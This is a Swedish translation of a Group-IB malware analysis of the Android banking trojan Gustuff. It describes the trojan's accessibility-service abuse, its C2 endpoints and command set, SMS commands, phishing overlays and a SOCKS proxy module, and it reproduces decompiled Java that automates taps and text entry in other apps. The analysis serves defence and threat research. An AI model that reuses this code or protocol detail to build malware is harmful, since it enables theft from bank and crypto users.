Hur Android Trojan Gustuff skummar grädden (fiat och krypto) från dina konton

Hur Android Trojan Gustuff skummar grädden (fiat och krypto) från dina konton

Bara häromdagen Group-IB informerad om aktiviteten hos den mobila Android Trojan Gustuff. Det fungerar uteslutande på internationella marknader, attackerar kunder från de 100 största utländska bankerna, användare av mobila 32 kryptoplånböcker, såväl som stora e-handelsresurser. Men utvecklaren av Gustuff är en rysktalande cyberkriminell under smeknamnet Bestoffer. Tills nyligen berömde han sin trojan som "en seriös produkt för människor med kunskap och erfarenhet."

Specialist för analys av skadlig kod på Group-IB Ivan Pisarev i sin forskning berättar han i detalj om hur Gustuff fungerar och vilka faror det är.

Vem jagar Gustuff?

Gustuff tillhör en ny generation skadlig programvara med helautomatiska funktioner. Enligt utvecklaren har trojanen blivit en ny och förbättrad version av AndyBot malware, som sedan november 2017 har attackerat Android-telefoner och stjäl pengar genom nätfiskewebbformulär som maskerat sig som mobilapplikationer från välkända internationella banker och betalningssystem. Bestoffer rapporterade att hyrespriset för Gustuff Bot var $800 per månad.

Analys av Gustuff-provet visade att trojanen potentiellt riktar sig mot kunder som använder mobilapplikationer från de största bankerna, såsom Bank of America, Bank of Scotland, JPMorgan, Wells Fargo, Capital One, TD Bank, PNC Bank, såväl som kryptoplånböcker Bitcoin Wallet, BitPay, Cryptopay, Coinbase, etc.

Ursprungligen skapad som en klassisk banktrojan, i den nuvarande versionen har Gustuff utökat listan av potentiella mål för attack avsevärt. Förutom Android-applikationer för banker, fintech-företag och kryptotjänster riktar sig Gustuff till användare av marknadsplatsapplikationer, nätbutiker, betalningssystem och snabbmeddelanden. I synnerhet PayPal, Western Union, eBay, Walmart, Skype, WhatsApp, Gett Taxi, Revolut och andra.

Ingångspunkt: beräkning för massinfektion

Gustuff kännetecknas av den "klassiska" vektorn för penetration till Android-smartphones genom SMS-utskick med länkar till APK-filer. När en Android-enhet är infekterad med en trojan på kommando av servern kan Gustuff spridas vidare genom kontaktdatabasen på den infekterade telefonen eller genom serverdatabasen. Gustuffs funktionalitet är designad för massinfektion och maximal kapitalisering av operatörernas verksamhet - den har en unik "auto-fill"-funktion i legitima mobilbankapplikationer och kryptoplånböcker, vilket gör att du kan påskynda och skala stölden av pengar.

En studie av trojanen visade att autofyll-funktionen implementerades i den med hjälp av tillgänglighetstjänsten, en tjänst för personer med funktionsnedsättning. Gustuff är inte den första trojanen som lyckats kringgå skyddet mot interaktion med fönsterelement i andra applikationer som använder denna Android-tjänst. Användningen av Tillgänglighetstjänst i kombination med en bilfyllare är dock fortfarande ganska sällsynt.

Efter nedladdning till offrets telefon kan Gustuff, med hjälp av tillgänglighetstjänsten, interagera med fönsterelement i andra applikationer (bank, kryptovaluta, såväl som applikationer för onlineshopping, meddelanden, etc.), utföra de åtgärder som krävs för angriparna . Till exempel, på kommando av servern, kan en trojan trycka på knappar och ändra värdena för textfält i bankapplikationer. Genom att använda mekanismen för tillgänglighetstjänsten kan trojanen kringgå säkerhetsmekanismerna som används av banker för att motverka tidigare generationers mobila trojaner, såväl som ändringar i säkerhetspolicyn som implementerats av Google i nya versioner av Android OS. Således "vet Gustuff hur" man inaktiverar Google Protect-skyddet: enligt författaren fungerar den här funktionen i 70% av fallen.

Hur Android Trojan Gustuff skummar grädden (fiat och krypto) från dina konton

Gustuff kan också visa falska PUSH-meddelanden med ikoner för legitima mobilapplikationer. Användaren klickar på PUSH-meddelandet och ser ett nätfiskefönster nedladdat från servern, där han anger det begärda bankkortet eller kryptoplånboken. I ett annat Gustuff-scenario öppnas applikationen för vilken PUSH-meddelandet visades. I det här fallet kan skadlig programvara, på kommando från servern via tillgänglighetstjänsten, fylla i formulärfälten för en bankapplikation för en bedräglig transaktion.

Gustuffs funktionalitet inkluderar också att skicka information om en infekterad enhet till servern, möjligheten att läsa/skicka SMS-meddelanden, skicka USSD-förfrågningar, starta SOCKS5 Proxy, följa en länk, skicka filer (inklusive fotoskanningar av dokument, skärmdumpar, fotografier) ​​till server, återställ enheten till fabriksinställningarna.

Analys av skadlig programvara

Innan du installerar en skadlig applikation visar Android OS användaren ett fönster som innehåller en lista över rättigheter som begärts av Gustuff:

Hur Android Trojan Gustuff skummar grädden (fiat och krypto) från dina konton
Applikationen kommer att installeras först efter att ha fått användarens samtycke. Efter att ha startat programmet kommer trojanen att visa användaren ett fönster:

Hur Android Trojan Gustuff skummar grädden (fiat och krypto) från dina konton
Därefter tar den bort sin ikon.

Gustuff packas, enligt författaren, av en packare från FTT. Efter uppstart kontaktar programmet regelbundet CnC-servern för att ta emot kommandon. Flera filer vi undersökte använde en IP-adress som kontrollserver 88.99.171[.]105 (nedan kommer vi att beteckna det som <%CnC%>).

Efter start börjar programmet skicka meddelanden till servern http://<%CnC%>/api/v1/get.php.

Svaret förväntas vara JSON i följande format:

{
    "results" : "OK",
    "command":{
        "id": "<%id%>",
        "command":"<%command%>",
        "timestamp":"<%Server Timestamp%>",
        "params":{
		<%Command parameters as JSON%>
        },
    },
}

Varje gång applikationen öppnas skickar den information om den infekterade enheten. Meddelandeformatet visas nedan. Det är värt att notera att fälten full, extra, appar и tillstånd – valfritt och kommer endast att skickas vid ett förfrågningskommando från CnC.

{
    "info":
    {
        "info":
        {
            "cell":<%Sim operator name%>,
            "country":<%Country ISO%>,
            "imei":<%IMEI%>,
            "number":<%Phone number%>,
            "line1Number":<%Phone number%>,
            "advertisementId":<%ID%>
        },
        "state":
        {
            "admin":<%Has admin rights%>,
            "source":<%String%>,
            "needPermissions":<%Application needs permissions%>,
            "accesByName":<%Boolean%>,
            "accesByService":<%Boolean%>,
            "safetyNet":<%String%>,
            "defaultSmsApp":<%Default Sms Application%>,
            "isDefaultSmsApp":<%Current application is Default Sms Application%>,
            "dateTime":<%Current date time%>,
            "batteryLevel":<%Battery level%>
        },
        "socks":
        {
            "id":<%Proxy module ID%>,
            "enabled":<%Is enabled%>,
            "active":<%Is active%>
        },
        "version":
        {
            "versionName":<%Package Version Name%>,
            "versionCode":<%Package Version Code%>,
            "lastUpdateTime":<%Package Last Update Time%>,
            "tag":<%Tag, default value: "TAG"%>,
            "targetSdkVersion":<%Target Sdk Version%>,
            "buildConfigTimestamp":1541309066721
        },
    },
    "full":
    {
        "model":<%Device Model%>,
        "localeCountry":<%Country%>,
        "localeLang":<%Locale language%>,
        "accounts":<%JSON array, contains from "name" and "type" of accounts%>,
        "lockType":<%Type of lockscreen password%>
    },
    "extra":
    {
        "serial":<%Build serial number%>,
        "board":<%Build Board%>,
        "brand":<%Build Brand%>,
        "user":<%Build User%>,
        "device":<%Build Device%>,
        "display":<%Build Display%>,
        "id":<%Build ID%>,
        "manufacturer":<%Build manufacturer%>,
        "model":<%Build model%>,
        "product":<%Build product%>,
        "tags":<%Build tags%>,
        "type":<%Build type%>,
        "imei":<%imei%>,
        "imsi":<%imsi%>,
        "line1number":<%phonenumber%>,
        "iccid":<%Sim serial number%>,
        "mcc":<%Mobile country code of operator%>,
        "mnc":<%Mobile network codeof operator%>,
        "cellid":<%GSM-data%>,
        "lac":<%GSM-data%>,
        "androidid":<%Android Id%>,
        "ssid":<%Wi-Fi SSID%>
    },
    "apps":{<%List of installed applications%>},
    "permission":<%List of granted permissions%>
} 

Lagring av konfigurationsdata

Gustuff lagrar operativt viktig information i en preferensfil. Filnamnet, såväl som namnen på parametrarna i det, är resultatet av beräkning av MD5-summan från strängen 15413090667214.6.1<%namn%>var <%name%> — initialt namn-värde. Python-tolkning av namngenereringsfunktionen:

 nameGenerator(input):
    output = md5("15413090667214.6.1" + input) 

I det följande kommer vi att beteckna det som namnGenerator (ingång).
Så det första filnamnet är: nameGenerator("API_SERVER_LIST"), den innehåller värden med följande namn:

Variabelnamn Värde
nameGenerator("API_SERVER_LIST") Innehåller en lista över CnC-adresser i form av en array.
nameGenerator("API_SERVER_URL") Innehåller CnC-adressen.
nameGenerator("SMS_UPLOAD") Flaggan är inställd som standard. Om flaggan är inställd, skickar SMS-meddelanden till CnC.
nameGenerator("SMS_ROOT_NUMBER") Telefonnummer som SMS-meddelanden som tas emot av den infekterade enheten kommer att skickas till. Standard är null.
nameGenerator("SMS_ROOT_NUMBER_RESEND") Flaggan rensas som standard. Om den är installerad kommer den att skickas till rotnumret när en infekterad enhet tar emot ett SMS.
nameGenerator("DEFAULT_APP_SMS") Flaggan rensas som standard. Om denna flagga är inställd kommer applikationen att behandla inkommande SMS-meddelanden.
nameGenerator("DEFAULT_ADMIN") Flaggan rensas som standard. Om flaggan är inställd har applikationen administratörsrättigheter.
nameGenerator("DEFAULT_ACCESSIBILITY") Flaggan rensas som standard. Om flaggan är inställd körs en tjänst som använder tillgänglighetstjänsten.
nameGenerator("APPS_CONFIG") Ett JSON-objekt som innehåller en lista över åtgärder som måste utföras när en tillgänglighetshändelse kopplad till en specifik applikation utlöses.
nameGenerator("APPS_INSTALLED") Lagrar en lista över applikationer som är installerade på enheten.
nameGenerator("IS_FIST_RUN") Flaggan återställs vid första starten.
nameGenerator("UNIQUE_ID") Innehåller en unik identifierare. Genereras när boten startas för första gången.

Modul för bearbetning av kommandon från servern

Applikationen lagrar adresserna till CnC-servrar i form av en array kodad av Base85 rader. Listan över CnC-servrar kan ändras vid mottagandet av lämpligt kommando, i vilket fall adresserna kommer att lagras i en preferensfil.

Som svar på begäran skickar servern ett kommando till applikationen. Det är värt att notera att kommandon och parametrar presenteras i JSON-format. Applikationen kan behandla följande kommandon:

Team beskrivning
framåtStarta Börja skicka SMS-meddelanden som tas emot av den infekterade enheten till CnC-servern.
framåtStopp Sluta skicka SMS-meddelanden som tas emot av den infekterade enheten till CnC-servern.
ussdRun Utför USSD-begäran. Numret som du behöver göra en USSD-förfrågan till finns i JSON-fältet "nummer".
skicka sms Skicka ett SMS (vid behov delas meddelandet upp i delar). Som en parameter tar kommandot ett JSON-objekt som innehåller fälten "to" - destinationsnumret och "body" - meddelandets brödtext.
skickaSmsAb Skicka SMS-meddelanden (vid behov är meddelandet "uppdelat" i delar) till alla i kontaktlistan för den infekterade enheten. Intervallet mellan att skicka meddelanden är 10 sekunder. Brödtexten i meddelandet finns i JSON-fältet "body"
skickaSmsMass Skicka SMS-meddelanden (vid behov är meddelandet "delat" i delar) till kontakterna som anges i kommandoparametrarna. Intervallet mellan att skicka meddelanden är 10 sekunder. Som en parameter tar kommandot en JSON-array ("sms"-fältet), vars element innehåller fälten "to" - destinationsnumret och "body" - meddelandets brödtext.
changeServer Detta kommando kan ta ett värde med nyckeln "url" som en parameter - då kommer boten att ändra värdet på nameGenerator("SERVER_URL") eller "array" - sedan kommer boten att skriva arrayen till nameGenerator ("API_SERVER_LIST") Således ändrar applikationen adressen till CnC-servrarna.
adminNumber Kommandot är utformat för att fungera med ett rotnummer. Kommandot accepterar ett JSON-objekt med följande parametrar: “nummer” — ändra namnGenerator(“ROOT_NUMBER”) till det mottagna värdet, “sänd igen” — ändra namnGenerator(“SMS_ROOT_NUMBER_RESEND”), “sendId” — skicka till namnGenerator(“ROOT_NUMBER” ) unikt ID.
Uppdatera information Skicka information om den infekterade enheten till servern.
rensa data Kommandot är avsett att radera användardata. Beroende på vilket namn applikationen lanserades raderas antingen data helt med en omstart av enheten (primär användare), eller så raderas bara användardata (sekundär användare).
strumpor Starta Starta proxymodulen. Funktionen av modulen beskrivs i ett separat avsnitt.
strumpor Stoppa Stoppa proxymodulen.
öppen länk Följ länken. Länken finns i JSON-parametern under "url"-tangenten. "android.intent.action.VIEW" används för att öppna länken.
ladda upp alla sms Skicka alla SMS-meddelanden som tas emot av enheten till servern.
ladda upp alla foton Skicka bilder från en infekterad enhet till en URL. URL:en kommer som en parameter.
ladda upp fil Skicka en fil till en URL från en infekterad enhet. URL:en kommer som en parameter.
ladda upp Telefonnummer Skicka telefonnummer från din kontaktlista till servern. Om ett JSON-objektvärde med nyckeln "ab" tas emot som en parameter, får applikationen en lista med kontakter från telefonboken. Om ett JSON-objekt med nyckeln "sms" tas emot som en parameter, läser applikationen listan över kontakter från avsändare av SMS-meddelanden.
ändra Arkiv Applikationen laddar ner filen från adressen som kommer som en parameter med hjälp av "url"-tangenten. Den nedladdade filen sparas med namnet "archive.zip". Applikationen kommer sedan att packa upp filen, valfritt med arkivlösenordet "b5jXh37gxgHBrZhQ4j3D". De uppackade filerna sparas i katalogen [extern lagring]/hgps. I den här katalogen lagrar programmet webbförfalskningar (beskrivs nedan).
åtgärder Kommandot är utformat för att fungera med Action Service, vilket beskrivs i ett separat avsnitt.
testa Gör inget.
ladda ner Kommandot är avsett att ladda ner en fil från en fjärrserver och spara den i katalogen "Nedladdningar". URL och filnamn kommer som en parameter, fält i JSON-parameterobjektet, respektive: "url" och "fileName".
ta bort Tar bort en fil från katalogen "Nedladdningar". Filnamnet kommer i en JSON-parameter med "filnamn"-nyckeln. Standardfilnamnet är "tmp.apk".
anmälan Visa en avisering med beskrivning och titeltexter definierade av hanteringsservern.

Kommandoformat anmälan:

{
    "results" : "OK",
    "command":{
    "id": <%id%>,
    "command":"notification",
    "timestamp":<%Server Timestamp%>,
    "params":{
        "openApp":<%Open original app or not%>,
        "array":[
                      {"title":<%Title text%>,
                      "desc":<%Description text%>,
                      "app":<%Application name%>}
                   ]
                   },
        },
}

Underrättelsen som genereras av filen som undersöks ser identisk ut med de meddelanden som genereras av applikationen som anges i fältet app. Om fältvärdet öppna appen — Det är sant, när ett meddelande öppnas, startas programmet som anges i fältet app. Om fältvärdet öppna appen – Falskt alltså:

  • Ett nätfiskefönster öppnas, vars innehåll laddas ner från katalogen <%extern lagring%>/hgps/<%filnamn%>
  • Ett nätfiskefönster öppnas, vars innehåll laddas ner från servern <%url%>?id=<%Bot id%>&app=<%Application name%>
  • Ett nätfiskefönster öppnas, förklädd som ett Google Play-kort, med möjlighet att ange kortuppgifter.

Applikationen skickar resultatet av ett kommando till <%CnC%>set_state.php som ett JSON-objekt i följande format:

{
    "command":
    {
        "command":<%command%>,
        "id":<%command_id%>,
        "state":<%command_state%>
    }
    "id":<%bot_id%>
}

ActionsService
Listan över kommandon som applikationen bearbetar inkluderar handling. När ett kommando tas emot kommer kommandobearbetningsmodulen åt denna tjänst för att utföra det utökade kommandot. Tjänsten accepterar ett JSON-objekt som en parameter. Tjänsten kan utföra följande kommandon:

1. PARAMS_ACTION — när den tar emot ett sådant kommando får tjänsten först från JSON-parametern värdet på Type-nyckeln, vilket kan vara följande:

  • serviceInfo – underkommandot får värdet per nyckel från JSON-parametern includeNotImportant. Om flaggan är True ställer applikationen in flaggan FLAG_ISOLATED_PROCESS till en tjänst som använder tillgänglighetstjänsten. På så sätt kommer tjänsten att lanseras i en separat process.
  • rot — ta emot och skicka information till servern om det fönster som för närvarande är i fokus. Applikationen hämtar information med hjälp av AccessibilityNodeInfo-klassen.
  • administration — begära administratörsrättigheter.
  • fördröja — suspendera ActionsService under det antal millisekunder som anges i parametern för "data"-nyckeln.
  • fönster — skicka en lista över fönster som är synliga för användaren.
  • installera — installera programmet på den infekterade enheten. Namnet på arkivpaketet finns i "filnamn"-nyckeln. Själva arkivet finns i nedladdningskatalogen.
  • global – underkommandot är avsett att navigera från det aktuella fönstret:
    • på menyn Snabbinställningar
    • sedan
    • Hem
    • till aviseringar
    • till det nyligen öppnade programfönstret

  • lansera - starta applikationen. Applikationsnamnet kommer som en parameter för nyckel datum.
  • ljud — ändra ljudläget till tystnad.
  • låsa — sätter på bakgrundsbelysningen på skärmen och tangentbordet till full ljusstyrka. Applikationen utför den här åtgärden med WakeLock och anger strängen [Application Lable]:INFO som en tagg
  • permissionOverlay — funktionen är inte implementerad (svaret på kommandoexekvering är {"meddelande":"Stöds inte"} eller {"meddelande":"low sdk"})
  • gest — funktionen är inte implementerad (svaret på kommandoexekvering är {"meddelande":"Stöds inte"}eller {"meddelande":"Lågt API"})
  • behörigheter — detta kommando är nödvändigt för att begära behörigheter för applikationen. Frågefunktionen är dock inte implementerad, så kommandot är meningslöst. Listan över begärda rättigheter kommer som en JSON-array med "behörighets"-nyckeln. Standardlista:
    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • öppet — visa ett nätfiskefönster. Beroende på parametern som kommer från servern kan programmet visa följande nätfiskefönster:
    • Visa ett nätfiskefönster vars innehåll är skrivet i en fil i en katalog <%extern katalog%>/hgps/<%param_filnamn%>. Resultatet av användarinteraktion med fönstret kommer att skickas till <%CnC%>/records.php
    • Visa ett nätfiskefönster vars innehåll är förinläst från adressen <%url_param%>?id=<%bot_id%>&app=<%packagename%>. Resultatet av användarinteraktion med fönstret kommer att skickas till <%CnC%>/records.php
    • Visa ett nätfiskefönster förklädd som ett Google Play-kort.

  • interaktiva — kommandot är utformat för att interagera med fönsterelement i andra applikationer som använder AcessibilityService. En särskild tjänst har implementerats i programmet för interaktion. Appen under utredning kan interagera med Windows:
    • Aktiv för närvarande. I det här fallet innehåller parametern id eller text (namn) för objektet som du behöver interagera med.
    • Synlig för användaren när kommandot utförs. Applikationen väljer fönster efter id.

    Efter att ha tagit emot föremål AccessibilityNodeInfo För fönsterelement av intresse kan applikationen, beroende på parametrarna, utföra följande åtgärder:

    • fokus — sätt fokus på objektet.
    • klicka — klicka på ett objekt.
    • actionId — utför en åtgärd med ID.
    • setText — ändra texten i ett objekt. Det går att ändra texten på två sätt: utför en åtgärd ACTION_SET_TEXT (om Android-versionen av den infekterade enheten är yngre än eller lika med KLUBBA), eller genom att placera en sträng på urklippet och klistra in den i ett objekt (för äldre versioner). Detta kommando kan användas för att ändra data i en bankapplikation.

2. PARAMS_ACTIONS - samma som PARAMS_ACTION, bara en JSON-array med kommandon kommer.

Det verkar som att många människor kommer att vara intresserade av hur funktionen att interagera med fönsterelement i en annan applikation ser ut. Så här är den här funktionen implementerad i Gustuff:

boolean interactiveAction(List aiList, JSONObject action, JsonObject res) {
    int count = action.optInt("repeat", 1);
    Iterator aiListIterator = ((Iterable)aiList).iterator();
    int count = 0;
    while(aiListIterator.hasNext()) {
        Object ani = aiListIterator.next();
        if(1 <= count) {
            int index;
            for(index = 1; true; ++index) {
                if(action.has("focus")) {
                    if(((AccessibilityNodeInfo)ani).performAction(1)) {
                        ++count;
                    }
                }
                else if(action.has("click")) {
                    if(((AccessibilityNodeInfo)ani).performAction(16)) {
                        ++count;
                    }
                }
                else if(action.has("actionId")) {
                    if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) {
                        ++count;
                    }
                }
                else if(action.has("setText")) {
                    customHeader ch = CustomAccessibilityService.a;
                    Context context = this.getApplicationContext();
                    String text = action.optString("setText");
                    if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) {
                        ++count;
                    }
                }
                if(index == count) {
                    break;
                }
            }
        }
        ((AccessibilityNodeInfo)ani).recycle();
    }
    res.addPropertyNumber("res", Integer.valueOf(count));
}

Textersättningsfunktion:

boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) {
    boolean result;
    if(Build$VERSION.SDK_INT >= 21) {
        Bundle b = new Bundle();
        b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text));
        result = ani.performAction(0x200000, b);  // ACTION_SET_TEXT
    }
    else {
        Object clipboard = context.getSystemService("clipboard");
        if(clipboard != null) {
        ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text)));
        result = ani.performAction(0x8000);  // ACTION_PASTE
        }
        else {
            result = false;
        }
    }
    return result;
}

Således, med korrekt konfiguration av kontrollservern, kan Gustuff fylla i textfält i bankapplikationen och klicka på de knappar som krävs för att slutföra transaktionen. Trojanen behöver inte ens logga in på applikationen – det räcker med att skicka ett kommando för att visa ett PUSH-meddelande och sedan öppna den tidigare installerade bankapplikationen. Användaren kommer att autentisera sig, varefter Gustuff kommer att kunna fylla bilen.

SMS-bearbetningsmodul

Applikationen installerar en händelsehanterare för den infekterade enheten för att acceptera SMS-meddelanden. Applikationen som studeras kan ta emot kommandon från operatören, som kommer i texten i SMS-meddelandet. Kommandon kommer i formatet:

7!5=<%Base64-kodat kommando%>

Applikationen söker efter strängen i alla inkommande SMS-meddelanden 7!5=, när en sträng detekteras, avkodar den strängen från Base64 vid offset 4 och utför kommandot. Kommandona liknar dem med CnC. Körresultatet skickas till samma nummer som kommandot kom från. Svarsformat:

7*5=<%Base64-kodning av “result_code-kommando”%>

Eventuellt kan applikationen skicka alla mottagna meddelanden till rotnumret. För att göra detta måste rotnumret anges i inställningsfilen och flaggan för meddelandeomdirigering måste ställas in. Ett SMS skickas till angriparens nummer i formatet:

<%From number%> - <%Time, format: dd/MM/yyyy HH:mm:ss%> <%SMS body%>

Om du vill kan applikationen också skicka meddelanden till CnC. SMS-meddelandet skickas till servern i JSON-format:

{
    "id":<%BotID%>,
    "sms":
    {
        "text":<%SMS body%>,
        "number":<%From number%>,
        "date":<%Timestamp%>
    }
}

Om flaggan är inställd nameGenerator("DEFAULT_APP_SMS") – programmet slutar bearbeta SMS-meddelandet och rensar listan över inkommande meddelanden.

Proxymodul

Applikationen som studeras innehåller en Backconnect Proxy-modul (nedan kallad Proxy-modulen), som har en separat klass som inkluderar statiska fält med konfiguration. Konfigurationsdata lagras i provet i tydlig form:

Hur Android Trojan Gustuff skummar grädden (fiat och krypto) från dina konton

Alla åtgärder som utförs av proxymodulen loggas in i filer. För att göra detta skapar programmet i External Storage en katalog som heter "logs" (fältet ProxyConfigClass.logsDir i konfigurationsklassen), i vilken loggfiler lagras. Loggning sker i filer med namn:

  1. main.txt – arbetet i klassen som heter CommandServer loggas in i den här filen. I det följande kommer loggning av strängen str i den här filen att betecknas som mainLog(str).
  2. session-<%id%>.txt — den här filen sparar loggdata som är associerade med en specifik proxysession. I det följande kommer loggning av strängen str till denna fil att betecknas som sessionLog (str).
  3. server.txt – denna fil används för att logga all data som skrivits till de ovan beskrivna filerna.

Loggdataformat:

<%Date%> [Tråd[<%tråds-id%>], id[]]: loggsträng

Undantag som inträffar under driften av proxymodulen loggas också till en fil. För att göra detta genererar programmet ett JSON-objekt i följande format:

{
    "uncaughtException":<%short description of throwable%>
    "thread":<%thread%>
    "message":<%detail message of throwable%>
    "trace":        //Stack trace info
        [
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            },
            {
                "ClassName":
                "FileName":
                "LineNumber":
                "MethodName":
            }
        ]
}

Sedan konverterar den den till en strängrepresentation och loggar den.

Proxymodulen startas efter att ha mottagit motsvarande kommando. När ett kommando för att starta proxymodulen tas emot, startar applikationen en tjänst som anropas MainService, som ansvarar för att hantera driften av proxymodulen - starta och stoppa den.

Stadier för att starta tjänsten:

1. Startar en timer som går en gång i minuten och kontrollerar proxymodulens aktivitet. Om modulen inte är aktiv startar den den.
Även när händelsen utlöses android.net.conn.CONNECTIVITY_CHANGE Proxymodulen startas.

2. Applikationen skapar ett wake-lock med parametern PARTIAL_WAKE_LOCK och fångar honom. Detta förhindrar enhetens CPU från att gå in i viloläge.

3. Startar kommandobearbetningsklassen för proxymodulen, loggar först raden mainLog("startserver") и

Server::start() värd[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

där proxy_cnc, command_port och proxy_port – parametrar som erhållits från proxyserverns konfiguration.

Kommandobearbetningsklassen kallas CommandConnection. Utför följande åtgärder omedelbart efter start:

4. Ansluter till ProxyConfigClass.host: ProxyConfigClass.commandPort och skickar data om den infekterade enheten dit i JSON-format:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Var:

  • id – identifierare, försöker få ett värde med "id"-fältet från filen med delade preferenser med namnet "x". Om detta värde inte kunde erhållas genererar det ett nytt. Således har proxymodulen sin egen identifierare, som genereras på samma sätt som Bot-ID:t.
  • imei — IMEI för enheten. Om ett fel inträffade under processen att erhålla värdet, kommer ett felmeddelande att skrivas istället för detta fält.
  • imsi — International Mobile Subscriber Identity för enheten. Om ett fel inträffade under processen att erhålla värdet, kommer ett felmeddelande att skrivas istället för detta fält.
  • modell — Slutanvändarens synliga namn för slutprodukten.
  • tillverkare — Tillverkaren av produkten/hårdvaran (Build.MANUFACTURER).
  • androidVersion - en sträng i formatet "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • land — enhetens aktuella plats.
  • partnerId är en tom sträng.
  • paketnamn – paketnamn.
  • networkType — typ av aktuell nätverksanslutning (exempel: "WIFI", "MOBILE"). Vid fel returneras null.
  • hasGsmSupport – sant – om telefonen stöder GSM, annars falskt.
  • simReady – SIM-kortstatus.
  • simCountry - ISO-landskod (baserat på SIM-kortsleverantör).
  • nätverksoperatör — operatörens namn. Om ett fel inträffade under processen att erhålla värdet, kommer ett felmeddelande att skrivas istället för detta fält.
  • simOperator — Service Provider Name (SPN). Om ett fel inträffade under processen att erhålla värdet, kommer ett felmeddelande att skrivas istället för detta fält.
  • version - det här fältet lagras i config-klassen; för de testade versionerna av boten var det lika med "1.6".

5. Växlar till läget för att vänta på kommandon från servern. Kommandon från servern kommer i formatet:

  • 0 offset – kommando
  • 1 offset – sessionId
  • 2 offset – längd
  • 4 offset - data

När ett kommando kommer loggar programmet:
mainLog("Header { sessionId<%id%>], typ[<%command%>], length[<%length%>] }")

Följande kommandon från servern är möjliga:

Namn Kommando Data Beskrivning
anslutnings-ID 0 Anslutnings-ID Skapa en ny anslutning
SOVA 3 Tid Pausa proxymodulen
PINGIS 4 - Skicka PONG-meddelande

Ett PONG-meddelande består av 4 byte och ser ut så här: 0x04000000.

När connectId-kommandot tas emot (för att skapa en ny anslutning) CommandConnection skapar en instans av en klass ProxyConnection.

  • Två klasser deltar i fullmakt: ProxyConnection и änden. När du skapar en klass ProxyConnection ansluter till adressen ProxyConfigClass.host: ProxyConfigClass.proxyPort och skickar JSON-objektet:

 {
    "id":<%connectionId%>
}

Som svar skickar servern ett SOCKS5-meddelande som innehåller adressen till fjärrservern med vilken anslutningen måste upprättas. Interaktion med denna server sker genom klassen änden. Anslutningsinställningarna kan schematiskt representeras enligt följande:

Hur Android Trojan Gustuff skummar grädden (fiat och krypto) från dina konton

Nätverksinteraktioner

För att förhindra trafikanalys av nätverkssniffare kan interaktionen mellan CnC-servern och applikationen skyddas med SSL-protokollet. All överförd data både från och till servern presenteras i JSON-format. Applikationen utför följande förfrågningar under drift:

  • http://<%CnC%>/api/v1/set_state.php — resultatet av kommandots utförande.
  • http://<%CnC%>/api/v1/get.php — ta emot ett kommando.
  • http://<%CnC%>/api/v1/load_sms.php — ladda ner SMS-meddelanden från en infekterad enhet.
  • http://<%CnC%>/api/v1/load_ab.php — ladda upp en lista med kontakter från en infekterad enhet.
  • http://<%CnC%>/api/v1/aevents.php – begäran görs vid uppdatering av parametrar som finns i preferensfilen.
  • http://<%CnC%>/api/v1/set_card.php — ladda upp data som erhållits med ett nätfiskefönster som maskerar sig som Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – ladda upp loggdata.
  • http://<%CnC%>/api/v1/records.php – ladda upp data som erhållits genom nätfiskefönster.
  • http://<%CnC%>/api/v1/set_error.php – meddelande om ett fel som har uppstått.

Rekommendationer

För att skydda sina kunder från hotet från mobila trojaner måste företag använda omfattande lösningar som låter dem övervaka och förhindra skadlig aktivitet utan att installera ytterligare programvara på användarenheter.

För att göra detta måste signaturmetoder för att upptäcka mobila trojaner stärkas med tekniker för att analysera beteendet hos både klienten och själva applikationen. Skyddet bör även innefatta en enhetsidentifieringsfunktion med digital fingeravtrycksteknik, som gör det möjligt att förstå när ett konto används från en atypisk enhet och redan har hamnat i en bedragares händer.

En fundamentalt viktig punkt är tillgången på analys över kanaler, som gör det möjligt för företag att kontrollera risker som uppstår inte bara på Internet utan också på den mobila kanalen, till exempel i applikationer för mobilbanker, för transaktioner med kryptovalutor och alla andra där transaktioner kan genomföras.

Säkerhetsregler för användare:

  • installera inte applikationer för en mobil enhet med Android OS från andra källor än Google Play, var särskilt uppmärksam på de rättigheter som applikationen begär;
  • installera Android OS-uppdateringar regelbundet;
  • var uppmärksam på tilläggen av nedladdade filer;
  • besök inte misstänkta resurser;
  • Klicka inte på länkar som tas emot i SMS.

Medverkande Semyon Rogacheva, juniorspecialist i skadlig programvara vid Group-IB Computer Forensics Laboratory.

Källa: will.com

Lägg en kommentar